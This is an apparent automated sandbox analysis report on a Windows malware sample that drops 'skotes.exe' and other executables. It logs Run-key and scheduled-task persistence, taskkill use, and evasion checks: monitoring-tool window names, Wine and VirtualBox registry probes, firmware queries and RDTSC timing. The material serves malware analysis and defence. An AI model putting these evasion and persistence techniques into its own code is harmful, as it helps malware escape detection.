Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659AE92 push ecx; mov dword ptr [esp], 3B9FA19Ch	7_2_0659AED7
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659CE96 push 6EA7D62Eh; mov dword ptr [esp], eax	7_2_0659DD2F
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A0EB3 push 653B72DDh; mov dword ptr [esp], eax	7_2_065A0FDD
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659AF5B push esi; mov dword ptr [esp], ebx	7_2_0659AF62
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659B74D push eax; mov dword ptr [esp], 7FE65571h	7_2_0659B8EF
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659B74D push ebp; mov dword ptr [esp], 41714F53h	7_2_0659DDDE
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659DF7E push ecx; mov dword ptr [esp], edi	7_2_065A03B9
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A0F6A push 0E580DA4h; mov dword ptr [esp], ebx	7_2_065A20D9

Source: file.exe	Static PE information: section name: entropy: 7.9817209633517745
Source: file.exe	Static PE information: section name: cqnnvyhp entropy: 7.9536412081511365
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9817209633517745
Source: skotes.exe.0.dr	Static PE information: section name: cqnnvyhp entropy: 7.9536412081511365
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.9805713763738915
Source: random[1].exe.6.dr	Static PE information: section name: okzfovcg entropy: 7.95393650915222
Source: d015c0e328.exe.6.dr	Static PE information: section name: entropy: 7.9805713763738915
Source: d015c0e328.exe.6.dr	Static PE information: section name: okzfovcg entropy: 7.95393650915222
Source: random[1].exe0.6.dr	Static PE information: section name: dsxuiljp entropy: 7.9543105319243335
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: dsxuiljp entropy: 7.9543105319243335
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.8142055214167545
Source: da69a13142.exe.6.dr	Static PE information: section name: entropy: 7.8142055214167545

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b8665be8a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da69a13142.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d015c0e328.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36321ea525.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d015c0e328.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d015c0e328.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b8665be8a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b8665be8a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36321ea525.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36321ea525.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da69a13142.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run da69a13142.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D569 second address: C0D571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D7F0 second address: C0D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D7FB second address: C0D7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DAD0 second address: C0DAD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DAD6 second address: C0DADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DC6A second address: C0DC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DC70 second address: C0DC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0DC78 second address: C0DC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F7A4900AE66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C118E7 second address: C118FA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F7A49940176h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
